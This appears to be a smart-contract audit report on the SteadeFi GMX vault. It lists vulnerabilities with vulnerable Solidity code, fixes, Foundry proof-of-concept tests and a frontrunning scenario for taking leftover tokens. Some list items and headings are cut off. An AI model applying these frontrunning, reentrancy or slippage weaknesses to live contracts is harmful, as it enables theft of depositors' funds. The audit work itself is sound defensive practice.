Since emergencyPause updates the state of the Vault to GMXTypes.Status.Paused, when the callback from GMX executes the afterDepositExecution nothing will happen since the conditions are not met. Which means that any deposit amount will not be met by a mint of svTokens.
function afterDepositExecution(
bytes32 depositKey,
IDeposit.Props memory /* depositProps */,
IEvent.Props memory /* eventData */
) external onlyController {
GMXTypes.Store memory _store = vault.store();
if (
_store.status == GMXTypes.Status.Deposit &&
_store.depositCache.depositKey == depositKey
) {
vault.processDeposit();
} else if (
_store.status == GMXTypes.Status.Rebalance_Add &&
_store.rebalanceCache.depositKey == depositKey
) {
vault.processRebalanceAdd();
} else if (
_store.status == GMXTypes.Status.Compound &&
_store.compoundCache.depositKey == depositKey
) {
vault.processCompound();
} else if (
_store.status == GMXTypes.Status.Withdraw_Failed &&
_store.withdrawCache.depositKey == depositKey
) {
vault.processWithdrawFailureLiquidityAdded();
} else if (_store.status == GMXTypes.Status.Resume) {
// This if block is to catch the Deposit callback after an
// emergencyResume() to set the vault status to Open
vault.processEmergencyResume();
}
@ > // The function does nothing as the conditions are not met
}
If by any chance, the processDeposit function is executed (or any other function from the callback) it will still revert in the beforeChecks (like the beforeProcessDepositChecks).
function beforeProcessDepositChecks(
GMXTypes.Store storage self
) external view {
if (self.status != GMXTypes.Status.Deposit)
@> revert Errors.NotAllowedInCurrentVaultStatus();
}
If the emergency pause is triggered at an inopportune time, it could:
You can copy this test in the file GMXEmergencyTest.t.sol then execute the test with the command forge test --mt
function test_UserLosesFundsAfterEmergencyPause() external {
deal(address(WETH), user1, 20 ether);
uint256 wethBalanceBefore = IERC20(WETH).balanceOf(user1);
vm.startPrank(user1);
_createDeposit(address(WETH), 10e18, 1, SLIPPAGE, EXECUTION_FEE);
vm.stopPrank();
vm.prank(owner);
vault.emergencyPause();
vm.prank(user1);
mockExchangeRouter.executeDeposit(
address(WETH),
address(USDC),
address(vault),
address(callback)
);
uint256 wethBalanceAfter = IERC20(WETH).balanceOf(user1);
//Check that no tokens have been minted to user while user loses funds = 10 eth
assertEq(IERC20(vault).balanceOf(user1), 0);
assertEq(wethBalanceAfter, wethBalanceBefore - 10 ether);
}
Manual review
To mitigate this risk, the following recommendations should be implemented:
Submitted by nmirchev8, NeverGonnaGiveYulUp. Selected submission by: nmirchev8.
There is a violation to one of the main invariants defined by the sponsor - After every action (deposit/withdraw/rebalance/compound), the vault should be cleared of any token balances. Violation of this could allow a subsequent depositor to benefit from it. coming from the compound() function, which withdraws funds from trove, but after that there is a if, where the funds would remain in the contract, if the condition is not met.
Compound functionality is used to reinvest "rewards"(in form if airdrops for example) from GMX, given to the vault contract. The problem here is that if the the balance of the vault, for the given tokenIn after withdrawing tokenA/B from trove is zero, the function terminates with potentially tokens after the withdraw. Another problem is that the function does the check, wether the vault is open and set its state again inside the if statement. All those combined makes it possible for a user to benefit from those tokens.
if (self.tokenA.balanceOf(address(self.trove)) > 0) {
self.tokenA.safeTransferFrom(
address(self.trove),
address(this),
self.tokenA.balanceOf(address(self.trove))
);
}
if (self.tokenB.balanceOf(address(self.trove)) > 0) {
self.tokenB.safeTransferFrom(
address(self.trove),
address(this),
self.tokenB.balanceOf(address(self.trove))
);
}
uint256 _tokenInAmt = IERC20(cp.tokenIn).balanceOf(address(this));
// Only compound if tokenIn amount is more than 0
if (_tokenInAmt > 0) {
...
_alp.tokenAAmt = self.tokenA.balanceOf(address(this));
_alp.tokenBAmt = self.tokenB.balanceOf(address(this));
...
GMXChecks.beforeCompoundChecks(self);
self.status = GMXTypes.Status.Compound;
self.compoundCache.depositKey = GMXManager.addLiquidity(
self,
_alp
);
}
Inside deposit/withdraw functions we send all tokens A/B back to trove and that would prevent the problem, but since compound doesn't check the state of the vault, this transaction could be frontruned, so the withdraw cache is created. After that the compound would left some funds for one of the tokens and then the transaction triggered from callback proccessWithdraw would use this tokens to benefit the depositor.
Imagine the following scenario:
1. Bot initiates compound function with "tokenIn : WETH"
2. Eve sees that transaction and frontruns it calling a withdraw with "shareAmt : 10, token : USDC"
3. Bot enter compound and only withdraw 1000 USDC and 0 WETH. The transaction passes, no matter that the state is "Withdraw"
4. Callback function to proccessWithdraw of Eve do check wether received amount is at least minWithdrawTokenAmt, which is not a problem, because the contract transfer the whole balance of USDC (1000 + {amount corresponding to 10 shares})
Manual Review
Consider adding 'else' statement, which would return withdrawn tokens
if (self.tokenA.balanceOf(address(self.trove)) > 0) {
self.tokenA.safeTransferFrom(
address(self.trove),
address(this),
self.tokenA.balanceOf(address(self.trove))
);
}
if (self.tokenB.balanceOf(address(self.trove)) > 0) {
self.tokenB.safeTransferFrom(
address(self.trove),
address(this),
self.tokenB.balanceOf(address(self.trove))
);
}
uint256 _tokenInAmt = IERC20(cp.tokenIn).balanceOf(address(this));
// Only compound if tokenIn amount is more than 0
if (_tokenInAmt > 0) {
...
}
else{
self.tokenA.safeTransfer(trove, self.tokenA.balanceOf(address(this));
self.tokenB.safeTransfer(trove, self.tokenB.balanceOf(address(this));
}
Submitted by ElHaj, FalconHoof, 0xCiphky, SBSecurity, NeverGonnaGiveYulUp. Selected submission by: FalconHoof.
https://github.com/gmx-io/gmx-synthetics#known-issues
GMX docs state that their ExchangeRouter and GMXOracle contracts will change as new logic is added. Therefore setter functions should be added to GMXVault.sol to be able to update the state variables storing those addressed when the need arises.
From the GMX docs:
If using contracts such as the ExchangeRouter, Oracle or Reader do note that their addresses will change as new logic is added
Not being able to use the ExchangeRouter and GMXOracle contracts the protocol would effectively be unusable given their importance.
Manual Review
Create setter functions in GMXVault.sol as below:
function updateExchangeRouter(address exchangeRouter) external onlyOwner {
_store.exchangeRouter = exchangeRouter;
emit ExchangeRouterUpdated(exchangeRouter);
}
function updateGMXOracle(address gmxOracle) external onlyOwner {
_store.gmxOracle = gmxOracle;
emit GMXOracleUpdated(gmxOracle);
}
Submitted by nmirchev8, pina, Auditism, nisedo, NeverGonnaGiveYulUp. Selected submission by: nisedo.
The emergencyClose function is intended to be a final measure to repay all debts and shut down the vault permanently, as indicated by the function's documentation. This action should be irreversible to ensure the finality and security of the vault's emergency closure process.
File: GMXVaul.sol
/**
* @notice Repays all debt owed by vault and shut down vault, allowing emergency withdrawals
* @dev Note that this is a one-way irreversible action
* @dev Should be called by approved Owner (Timelock + MultiSig)
* @param deadline Timestamp of swap deadline
*/
function emergencyClose(uint256 deadline) external onlyOwner {
GMXEmergency.emergencyClose(_store, deadline);
}
However, a pathway exists to effectively reopen a vault after it has been closed using emergencyClose by invoking the emergencyPause and emergencyResume functions. These functions alter the vault's status, allowing for the resumption of operations which contradicts the intended irreversible nature of an emergency close.
File: GMXEmergency.sol
function emergencyPause(
GMXTypes.Store storage self
) external {
self.refundee = payable(msg.sender);
GMXTypes.RemoveLiquidityParams memory _rlp;
// Remove all of the vault's LP tokens
_rlp.lpAmt = self.lpToken.balanceOf(address(this));
_rlp.executionFee = msg.value;
GMXManager.removeLiquidity(
self,
_rlp
);
self.status = GMXTypes.Status.Paused;
emit EmergencyPause();
}
File: GMXEmergency.sol
function emergencyResume(
GMXTypes.Store storage self
) external {
GMXChecks.beforeEmergencyResumeChecks(self);
self.status = GMXTypes.Status.Resume;
self.refundee = payable(msg.sender);
GMXTypes.AddLiquidityParams memory _alp;
_alp.tokenAAmt = self.tokenA.balanceOf(address(this));
_alp.tokenBAmt = self.tokenB.balanceOf(address(this));
_alp.executionFee = msg.value;
GMXManager.addLiquidity(
self,
_alp
);
}
The impact of this finding is significant, as it undermines the trust model of the emergency close process. Users and stakeholders expect that once a vault is closed in an emergency, it will remain closed as a protective measure. The ability to resume operations after an emergency closure could expose the vault to additional risks and potentially be exploited by malicious actors, especially if the original closure was due to a security threat.
Add this to GMXEmergencyTest.t.sol and test with forge test --mt test_close_then_pause -vv:
function test_close_then_pause() external {
// Pause the vault
vault.emergencyPause();
console2.log("vault status", uint256(vault.store().status));
// Close the vault
vault.emergencyClose(deadline);
console2.log("vault status", uint256(vault.store().status));
// Pause the vault again
vault.emergencyPause();
console2.log("vault status", uint256(vault.store().status));
assertEq(uint256(vault.store().status), 10, "vault status not set to paused");
// Resume the vault
vault.emergencyResume();
console2.log("vault status", uint256(vault.store().status));
}
Implement a permanent state or flag within the vault's storage to irrevocably mark the vault as closed after emergencyClose is called. This flag should prevent any further state-altering operations.
Modify the emergencyPause and emergencyResume functions to check for this permanent closure flag and revert if the vault has been emergency closed.
Submitted by tychaios, ZedBlockchain, hash, Cosine, NeverGonnaGiveYulUp, SupaRoutis, dipp. Selected submission by: Cosine.
Inside a few process functions are ERC-20 tokens transfered which could potentially have a blacklist functionality. This can lead to a DoS of the strategy vault. If for example, a blacklisted user withdraws funds.
Some ERC-20 tokens like for example USDC (which is used by the system) have the functionality to blacklist specific addresses, so that they are no longer able to transfer and receive tokens. Sending funds to these addresses will lead to a revert. A few of the process functions inside the deposit and withdraw contracts transfer ERC-20 tokens to addresses which could potentially be blacklisted. The system is not in an Open state when a keeper bot interacts with such a process function, and if the call to such a function reverts, the status can not be updated back to Open. Therefore, it will remain in the given status and a DoS for all users occurs. The only possibility that DoS stops would be when the user is no longer blacklisted, which can potentially last forever.
The attack flow (could be accidental) would for example look like this:
Here are the code snippets of these dangerous transfers inside process functions:
function processDepositCancellation(
GMXTypes.Store storage self
) external {
GMXChecks.beforeProcessDepositCancellationChecks(self);
...
// Transfer requested withdraw asset to user
IERC20(self.depositCache.depositParams.token).safeTransfer(
self.depositCache.user,
self.depositCache.depositParams.amt
);
...
self.status = GMXTypes.Status.Open;
emit DepositCancelled(self.depositCache.user);
}
function processDepositFailureLiquidityWithdrawal(
GMXTypes.Store storage self
) public {
GMXChecks.beforeProcessAfterDepositFailureLiquidityWithdrawal(self);
...
// Refund user the rest of the remaining withdrawn LP assets
// Will be in tokenA/tokenB only; so if user deposited LP tokens
// they will still be refunded in tokenA/tokenB
self.tokenA.safeTransfer(self.depositCache.user, self.tokenA.balanceOf(address(this)));
self.tokenB.safeTransfer(self.depositCache.user, self.tokenB.balanceOf(address(this)));
...
self.status = GMXTypes.Status.Open;
}
function processWithdraw(
GMXTypes.Store storage self
) external {
GMXChecks.beforeProcessWithdrawChecks(self);
try GMXProcessWithdraw.processWithdraw(self) {
if (self.withdrawCache.withdrawParams.token == address(self.WNT)) {
...
} else {
// Transfer requested withdraw asset to user
IERC20(self.withdrawCache.withdrawParams.token).safeTransfer(
self.withdrawCache.user,
self.withdrawCache.tokensToUser
);
}
// Transfer any remaining tokenA/B that was unused (due to slippage) to user as well
self.tokenA.safeTransfer(self.withdrawCache.user, self.tokenA.balanceOf(address(this)));
self.tokenB.safeTransfer(self.withdrawCache.user, self.tokenB.balanceOf(address(this)));
...
self.status = GMXTypes.Status.Open;
}
...
}
DoS of the entire strategy vault, as the status can no longer be updated to Open until the user is no longer blacklisted. This can potentially take forever and forces the owners to take emergency action.
Manual Review
Instead of transferring the ERC-20 tokens directly to a user in the process functions, use a two-step process instead. For example, create another contract whose only purpose is to hold assets and store the information about which address is allowed to withdraw how many of the specified tokens. In the process functions, send the funds to this new contract along with this information instead. So if a user has been blacklisted, the DoS only exists for that specific user and for the rest of the users the system continues to function normally.
Submitted by Auditism, ro1sharkm, Drynooo, pina, 0xanmol, SBSecurity, 0xAsen, Jeffauditor. Selected submission by: SBSecurity.
Using a wrong hash when depositing into GMX Market will potentially stop all the deposits from GMXVaults, based on GMX’s deposit notes.
https://github.com/gmx-io/gmx-synthetics#deposit-notes
Which states:
• Deposits are not allowed above the MAX_PNL_FACTOR_FOR_DEPOSITS
The vulnerability lies in the fact that when either GMXVault::deposit and GMXVault::rebalanceAdd are called wrong pnlFactor (MAX_PNL_FACTOR_FOR_WITHDRAWALS) will be passed to the oracle function GMXOracle::getLpTokenValue which is intended to fetch the price of the market token when deposit and withdrawal functions are called.
As you can see in every time when the minimum market slippage amount is calculated pnl factor for withdrawals will be used:
src: GMXDeposit.sol#L90-L101
if (dp.token == address(self.lpToken)) {
// If LP token deposited
_dc.depositValue = self.gmxOracle.getLpTokenValue(
address(self.lpToken),
address(self.tokenA),
address(self.tokenA),
address(self.tokenB),
false, //@audit when depositing this should be set to true
false
)
* dp.amt
/ SAFE_MULTIPLIER;
}
src: GMXOracle.sol#L234-L257
function getLpTokenValue(
address marketToken,
address indexToken,
address longToken,
address shortToken,
bool isDeposit,
bool maximize
) public view returns (uint256) {
bytes32 _pnlFactorType;
if (isDeposit) {
_pnlFactorType = keccak256(abi.encode("MAX_PNL_FACTOR_FOR_DEPOSITS"));
} else {
_pnlFactorType = keccak256(abi.encode("MAX_PNL_FACTOR_FOR_WITHDRAWALS"));
}
(int256 _marketTokenPrice,) = getMarketTokenInfo(
marketToken,
indexToken,
longToken,
shortToken,
_pnlFactorType,
maximize
);
Problem occurs when both MAX_PNL_FACTOR_FOR_DEPOSITS and MAX_PNL_FACTOR_FOR_WITHDRAWALS have different values.
There are 2 possible scenarios:
MAX_PNL_FACTOR_FOR_WITHDRAWALS is less than MAX_PNL_FACTOR_FOR_DEPOSITSIn this case, when the user wants to deposit the maximum allowed amount based on MAX_PNL_FACTOR_FOR_DEPOSITS transaction will most likely revert because there will be a different price of lpToken returned from the GMXOracle called with the pnlFactor = MAX_PNL_FACTOR_FOR_WITHDRAWALS, instead of the one for deposits.
MAX_PNL_FACTOR_FOR_WITHDRAWALS is more than MAX_PNL_FACTOR_FOR_DEPOSITSIn this case, GMXMarket’s Reader contract will return better price of the market token for the user, allowing him to deposit more than the actual value of MAX_PNL_FACTOR_FOR_DEPOSIT.
Change the isDeposit to true argument passed in the following functions: GMXDeposit::deposit and GMXRebalance::rebalanceAdd
if (dp.token == address(self.lpToken)) {
// If LP token deposited
_dc.depositValue = self.gmxOracle.getLpTokenValue(
address(self.lpToken),
address(self.tokenA),
address(self.tokenA),
address(self.tokenB),
- false,
+ true,
false
)
* dp.amt
/ SAFE_MULTIPLIER;
}
Submitted by hash, pontifex, SupaRoutis. Selected submission by: hash.
When calculating the maximum possible depositable amount for delta neutral vaults, _maxTokenBLending is calculated incorrectly.
if (self.delta == GMXTypes.Delta.Neutral) {
(uint256 _tokenAWeight, ) = tokenWeights(self);
uint256 _maxTokenALending = convertToUsdValue(
self,
address(self.tokenA),
self.tokenALendingVault.totalAvailableAsset()
) * SAFE_MULTIPLIER
/ (self.leverage * _tokenAWeight / SAFE_MULTIPLIER);
uint256 _maxTokenBLending = convertToUsdValue(
self,
address(self.tokenB),
self.tokenBLendingVault.totalAvailableAsset()
) * SAFE_MULTIPLIER
/ (self.leverage * _tokenAWeight / SAFE_MULTIPLIER)
- 1e18;
If a user wants to deposit v value to a l leveraged delta neutral vault with token weights a and b, the calculation of required lending amount would be as follows:
Total value to deposit to GMX = lv
Value of tokens to short = lva
Hence this value will be borrowed from the tokenA lending vault
Remaining value to borrow (from tokenB lending vault) = lv - lva - v (deposit value provided by user)
Hence if there is Tb value of tokens in tokenB lending vault, v <= Tb / (l - la - 1)
Deposit attempts can revert even when there is enough tokens to lend causing inefficiency, loss of gas for depositors and deviation from the protocol specification.
Change the formula to the correct one.
diff --git a/contracts/strategy/gmx/GMXReader.sol b/contracts/strategy/gmx/GMXReader.sol
index 73bb111..ae819c4 100644
--- a/contracts/strategy/gmx/GMXReader.sol
+++ b/contracts/strategy/gmx/GMXReader.sol
@@ -266,8 +266,7 @@ library GMXReader {
address(self.tokenB),
self.tokenBLendingVault.totalAvailableAsset()
) * SAFE_MULTIPLIER
- / (self.leverage * _tokenAWeight / SAFE_MULTIPLIER)
- - 1e18;
+ / (self.leverage - (self.leverage *_tokenAWeight / SAFE_MULTIPLIER) - 1e18);
_additionalCapacity = _maxTokenALending > _maxTokenBLending ? _maxTokenBLending : _maxTokenALending;
}
emergencyClose() may fail to repay any debtSubmitted by hunterw3b, Cosine, ElHaj, SupaRoutis. Selected submission by: ElHaj.
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/strategy/gmx/GMXEmergency.sol#L111
emergencyClose() function may become ineffective, preventing the contract from repaying any outstanding debt, leading to potential financial losses.tokenA and tokenB).emergencyClose() function is called after the contract is paused due some reasons, possibly when the strategy incurs bad debts or when the contract gets hacked, High volatility, and so on...tokenA and tokenB borrowed from the lendingVault contract. It then sets the contract's status to closed. After that, users who hold svToken shares can withdraw the remaining assets from the contract. function emergencyClose(GMXTypes.Store storage self, uint256 deadline) external {
// Revert if the status is Paused.
GMXChecks.beforeEmergencyCloseChecks(self);
// Repay all borrowed assets; 1e18 == 100% shareRatio to repay
GMXTypes.RepayParams memory _rp;
>> (_rp.repayTokenAAmt, _rp.repayTokenBAmt) = GMXManager.calcRepay(self, 1e18);
(bool _swapNeeded, address _tokenFrom, address _tokenTo, uint256 _tokenToAmt) =
GMXManager.calcSwapForRepay(self, _rp);
if (_swapNeeded) {
ISwap.SwapParams memory _sp;
_sp.tokenIn = _tokenFrom;
_sp.tokenOut = _tokenTo;
_sp.amountIn = IERC20(_tokenFrom).balanceOf(address(this));
_sp.amountOut = _tokenToAmt;
_sp.slippage = self.minSlippage;
_sp.deadline = deadline;
GMXManager.swapTokensForExactTokens(self, _sp);
}
GMXManager.repay(self, _rp.repayTokenAAmt, _rp.repayTokenBAmt);
self.status = GMXTypes.Status.Closed;
emit EmergencyClose(_rp.repayTokenAAmt, _rp.repayTokenBAmt);
}
}
_rp.repayTokenAAmt and _rp.repayTokenBAmt represent the entire debt, and these values remain the same even if a swap is needed. function calcSwapForRepay(GMXTypes.Store storage self, GMXTypes.RepayParams memory rp)
external
view
returns (bool, address, address, uint256)
{
address _tokenFrom;
address _tokenTo;
uint256 _tokenToAmt;
if (rp.repayTokenAAmt > self.tokenA.balanceOf(address(this))) {
// If more tokenA is needed for repayment
_tokenToAmt = rp.repayTokenAAmt - self.tokenA.balanceOf(address(this));
_tokenFrom = address(self.tokenB);
_tokenTo = address(self.tokenA);
return (true, _tokenFrom, _tokenTo, _tokenToAmt);
} else if (rp.repayTokenBAmt > self.tokenB.balanceOf(address(this))) {
// If more tokenB is needed for repayment
_tokenToAmt = rp.repayTokenBAmt - self.tokenB.balanceOf(address(this));
_tokenFrom = address(self.tokenA);
_tokenTo = address(self.tokenB);
return (true, _tokenFrom, _tokenTo, _tokenToAmt);
} else {
// If there is enough to repay both tokens
return (false, address(0), address(0), 0);
}
}
tokenA) is insufficient to cover tokenA debt, it means that the contract balance of the other token (tokenB) should be greater than the debt of tokenB, and the value of the remaining balance of tokenB after paying off the tokenB debt should be equal or greater than the required value to cover the debt of tokenA The two main issues with this assumption are:
tokenFrom is not enough to be swapped for _tokenToAmt of tokenTo, the swap will revert, causing the function to revert each time it is called when the balance of tokenFrom is insufficient.(in most cases in delta long strategy since it's only borrow one token), This is highly likely since emergency closures occur when something detrimental has happened, (such as bad debts).tokenFrom(EX: tokenA) becomes less than _rp.repayTokenAAmt after a swap. In this case, the repay call will revert when the lendingVault contract attempts to transferFrom the strategy contract for an amount greater than its balance. ex :
in value), the emergencyClose() function will always revert, preventing any debt repayment.pause action and the emergency close action. During periods of high volatility, the pause action temporarily halts the contract, but the prices of the two assets may continue to decline. The emergency close function can only be triggered by the owner, who operates a time-lock wallet. In the time between the pause and close actions, the prices may drop significantly and this condition will met since the swap is needed in almost all cases.emergencyClose() function will consistently fail to repay any debt.vs code manual review
pause action. and in case of resume just re-borrow again.Submitted by rvierdiiev, Cosine, Drynooo, 0xCiphky, SupaRoutis, innertia, 0xhacksmithh, dipp. Selected submission by: Cosine.
When an emergency situation arises and the protocol pauses or resumes the operation of the vault. All funds of the vault are removed from GMX or added back to GMX without any protection against slippage. This allows MEV bots to take advantage of the protocol's emergency situation and make huge profits with it.
When an emergency situation arises the protocol owners can call the emergencyPause function to remove all the liquidity from GMX:
function emergencyPause(
GMXTypes.Store storage self
) external {
self.refundee = payable(msg.sender);
GMXTypes.RemoveLiquidityParams memory _rlp;
// Remove all of the vault's LP tokens
_rlp.lpAmt = self.lpToken.balanceOf(address(this));
_rlp.executionFee = msg.value;
GMXManager.removeLiquidity(
self,
_rlp
);
self.status = GMXTypes.Status.Paused;
emit EmergencyPause();
}
But the minimum tokens amount to get back when removing liquidity is not provided to the RemoveLiquidityParams:
struct RemoveLiquidityParams {
// Amount of lpToken to remove liquidity
uint256 lpAmt;
// Array of market token in array to swap tokenA to other token in market
address[] tokenASwapPath;
// Array of market token in array to swap tokenB to other token in market
address[] tokenBSwapPath;
// Minimum amount of tokenA to receive in token decimals
uint256 minTokenAAmt;
// Minimum amount of tokenB to receive in token decimals
uint256 minTokenBAmt;
// Execution fee sent to GMX for removing liquidity
uint256 executionFee;
}
As it is not set, the default value 0 (uint256) is used. Therefore, up to 100% slippage is allowed.
The same parameters are also missing when normal operation resumes:
function emergencyResume(
GMXTypes.Store storage self
) external {
GMXChecks.beforeEmergencyResumeChecks(self);
self.status = GMXTypes.Status.Resume;
self.refundee = payable(msg.sender);
GMXTypes.AddLiquidityParams memory _alp;
_alp.tokenAAmt = self.tokenA.balanceOf(address(this));
_alp.tokenBAmt = self.tokenB.balanceOf(address(this));
_alp.executionFee = msg.value;
GMXManager.addLiquidity(
self,
_alp
);
}
Therefore, MEV bots could take advantage of the protocol's emergency situation and as these trades include all funds of the vault it could lead to a big loss.
Ignoring slippage when pausing could be a design choice of the protocol to avoid the possibility of a revert and pause the system as quickly as possible. However, this argument does not apply during the resume.
Big loss of funds as all funds of the strategy vault are unprotected against MEV bots.
Manual Review
Implement a custom minMarketTokens parameter, but do not implement the usual slippage calculation, as this could potentially lead to new critical vulnerabilities. If for example the reason for this emergency situation is a no longer supported chainlink feed, which will lead to reverts and therefore also to DoS of the emergency close / withdraw flow.
Submitted by Citris, asimaranov. Selected submission by: Citris.
re-entrency possible on processWithdraw since external call is made before burning user's shares in Vault
if (self.withdrawCache.withdrawParams.token == address(self.WNT)) {
self.WNT.withdraw(self.withdrawCache.tokensToUser);
@>audit transfer ETH and call (bool success, ) = self.withdrawCache.user.call{value: address(this).balance}("");
require(success, "Transfer failed.");
} else {
// Transfer requested withdraw asset to user
IERC20(self.withdrawCache.withdrawParams.token).safeTransfer(
self.withdrawCache.user,
self.withdrawCache.tokensToUser
);
}
// Transfer any remaining tokenA/B that was unused (due to slippage) to user as well
self.tokenA.safeTransfer(self.withdrawCache.user, self.tokenA.balanceOf(address(this)));
self.tokenB.safeTransfer(self.withdrawCache.user, self.tokenB.balanceOf(address(this)));
// Burn user shares
@> burn is after self.vault.burn(self.withdrawCache.user, self.withdrawCache.withdrawParams.shareAmt);
Since the function is only accessible by keeper (likely a router), which from the example of the mockRouter, would bundle the withdraw and "afterWithdrawalExecution" together. However since the router is out-of-scope, and there is still a possible chance that the user can make use of the router to re-enter into the function (without re-entrency lock), and be able to drain more fund that he actually deserves. This is submitted as a medium risk.
drain of user funds.
burn user's share first, before executing external call at the end.
Submitted by Citris.
min max price on getMarketTokenPrice is not utilized such that deposit and withdrawal can use the same price, leading to free tx for cost-free manipulation
GMX provides getMarketTokenPrice on its synethicReader which leverages MarketUtils. It allows passing in index/long/short token price with min/max. The isDeposit flag would then be used to determine whether the min or max price would be used for calculating marketTokenPrice, this is important to always favor the protocol and prevent MEV.
However on the getMarketTokenInfo implemented in GMXOracle, it passes in the same price from the oracle to the min/max price for all long&short/lpToken. This implies the same pricing is used for both deposit and withdrawal, enabling user to freely deposit/withdraw without cost or slippage. Malicious users can use this to trigger rebalance, and hence deposit or withdrawal directly on GMX that benefit the attacker with the use of bundled tx.
function getMarketTokenPrice(
DataStore dataStore,
Market.Props memory market,
Price.Props memory indexTokenPrice,
Price.Props memory longTokenPrice,
Price.Props memory shortTokenPrice,
bytes32 pnlFactorType,
bool maximize
) external view returns (int256, MarketPoolValueInfo.Props memory) {
return
MarketUtils.getMarketTokenPrice(
dataStore,
market,
indexTokenPrice,
longTokenPrice,
shortTokenPrice,
pnlFactorType,
maximize
);
}
free deposit and withdrawal due to the same token price is used for min or max price, which leading to the same marketTokenPrice calculation for deposit and withdrawal.
consider adding a small fee(5bps) to buffer the price returned from _getTokenPriceMinMaxFormatted on both sides.
Submitted by 0xAsen, rvierdiiev, pks27, TheSchnilch, pina, nervouspika, 0xhacksmithh. Selected submission by: pks27.
Incorrect state transition may cause vault in stuck under processCompoundCancellation scenario.
When keeper execute compound action and GMXCallback return afterDepositCancellation action, then protocol will call GMXCompound#processCompoundCancellation function to change vault status.
However, vault status is changed to GMXTypes.Status.Compound_Failed instead of GMXTypes.Status.Open by GMXCompound#processCompoundCancellation function, which is different with document described below:
and All scenarios should be handled to ensure vault eventually returns to an Open status. Consider how a scenario might lead to a stuck vault (other statuses).
Vault may stuck in unexpected state after processCompoundCancellation action.
vscode, Manual Review
Change the vault status to Open instead of Compound_Failed when call GMXCompound#processCompoundCancellation function.
Submitted by 0xhals, MaanVader, Cosine, 0xVinylDavyl, SanketKogekar. Selected submission by: Cosine.
That a chainlink oracle works does not mean it will be supported by chainlink in the future and keeps working, and it could also be possible that the address of the price feed changes. Therefore, it does not make sense to prevent price feed addresses from being updated, or removed, but the protocol prevents that.
There is only one function inside ChainlinkARBOracle to update the price feed addresses:
function addTokenPriceFeed(address token, address feed) external onlyOwner {
if (token == address(0)) revert Errors.ZeroAddressNotAllowed();
if (feed == address(0)) revert Errors.ZeroAddressNotAllowed();
if (feeds[token] != address(0)) revert Errors.TokenPriceFeedAlreadySet();
feeds[token] = feed;
}
As we can see it will only allow to set the price feed ones and revert if trying to update, or remove a price feed. Therefore, if chainlink changes something, or the owner accidentally set the wrong address, or the protocol no longer wants to support a price feed, it can not be removed, or updated.
It is not possible to remove price feeds which are no longer supported by chainlink, or update the addresses of price feeds. This can lead to a complete DoS of the underlying token.
As this feeds mapping is also the only check if it is a valid token when calling the oracle and the feed can not be removed, it will always pass this check even if the protocol no longer wishes to support this token:
function consult(address token) public view whenNotPaused returns (int256, uint8) {
address _feed = feeds[token];
if (_feed == address(0)) revert Errors.NoTokenPriceFeedAvailable();
...
}
Manual Review
Remove this line:
if (feeds[token] != address(0)) revert Errors.TokenPriceFeedAlreadySet();
Keys.MAX_CALLBACK_GAS_LIMIT to smaller than 2 millionsSubmitted by rvierdiiev, inzinko, 0xffchain. Selected submission by: rvierdiiev.
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/strategy/gmx/GMXWorker.sol#L60
Keys.MAX_CALLBACK_GAS_LIMIT is configurable param inside GMX protocol, which can be changed to value that is smaller than 2 millions. As Steadefi doesn't callback gas limit is hardcoded, deposits and withdraws can fail.
GMXWorker library is used to send requests directly to GMX protocol. It contains addLiquidity and removeLiquidity functions that will create request on GMX and will be waiting for execution. Both these functions set 2 millions of gas as callbackGasLimit.
When deposit or withdraw request is handled on GMX side, then callbackGasLimit is validated to be not bigger than it's allowed. Keys.MAX_CALLBACK_GAS_LIMIT value is configurable and can be changed by GMX team. And in case if it will be less than 2 million, then all deposits and withdraws requests from steadefi will be reverted.
I leave this as medium severity, because of the fact that callback limit should be decreased first in order to create problems.
Deposits and withdraws from steadefi will be blocked.
VsCode
Make callbackGasLimit to be configurable.
Submitted by rvierdiiev.
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/strategy/gmx/GMXDeposit.sol#L61-L66
As protocol doesn't collect rewards from GMX in each function, these rewards can be sent to the user.
Each deposit, tokenA and tokenB balance is sent to the Trove. The same is done for the withdraw.
This is because protocol expects to receive rewards from GMX in form of these tokens. So amount is sent to the Trove function, so later it can be compounded.
The problem is that deposit and withdraw functions are not the only entry point that can send these rewards to user. For example, processDepositFailureLiquidityWithdrawal function will send whole balance to the user after repay is done.
Another example inside processDepositCancellation function, in case if depositParams.token is native, then whole balance is sent to user.
As after deposit or withdraw request was done, there is some delay, then during that delay rewards can come and they can be sent to the user.
Rewards are not sent to the Trove, but to the user.
VsCode
I can't give good recommendation for all that cases, as GMXCallback is triggered by GMX and you can't know exactly which amount was sent. But for processDepositCancellation function, you should not sent more than self.depositCache.depositParams.amt. So do not withdraw whole balance, but that amount.
Submitted by rvierdiiev.
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/strategy/gmx/GMXWithdraw.sol#L197
In case if user has executed withdrawal and it was not accepted by Steadefi, then processWithdrawFailure will then put withdrawn amount back to GMX and will loose on slippage, however user will still have same shares amount.
When user withdraws, then he provides shares amount, and the appropriate lpAmt is calculated to be withdrawn from GMX. Then in case if such withdrawal will fail, for example because user is not happy with amount that was received after withdrawal, then call will revert, which means that system will go to Withdraw_Failed state. Note, that in this case, user's shares will not be burnt, as it's done only, when withdraw has succeeded.
So what we have now. We have executed withdrawal with some slippage, so our total assets has decreased a bit.
What will be done next. We will call processWithdrawFailure function, which will deposit back all received funds and we will again face some slippage. But user will steal have same shares amount.
As result we have lost funds on 2 actions with slippage, which means that all stakers of GMXVault had a loss.
Stakers of the pool have a loss in case of failed withdrawals.
VsCode
Maybe it can be better, to burn shares even when deposit has failed and then recalculate shares amount after liquidaity is added back to GMX.
Submitted by rvierdiiev.
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/strategy/gmx/GMXDeposit.sol#L172
In case if GMXVault mints/burns shares for users, then it should call mintFee before in order to get correct portion of fee.
Steadefi protocol takes management fee from stakers. This fee accrues each second and is some percentage of totalSupply. In order to mint fees, GMXVault.mintFee should be called. Once, it's done, then _store.lastFeeCollected is updated up to date.
Currently mintFee is called only in 2 places in the code. Once in the deposit and once in the withdraw function. However, minting and burning is not done in any of them. For example, minting of shares is done in the processDeposit function and this function is called after some time, when deposit is called. As result some time already has passed and fees should be accrued. But in current implementation, new shares will be added to the totalSupply and fees will be taken out of them for the time when this shares were not even minted.
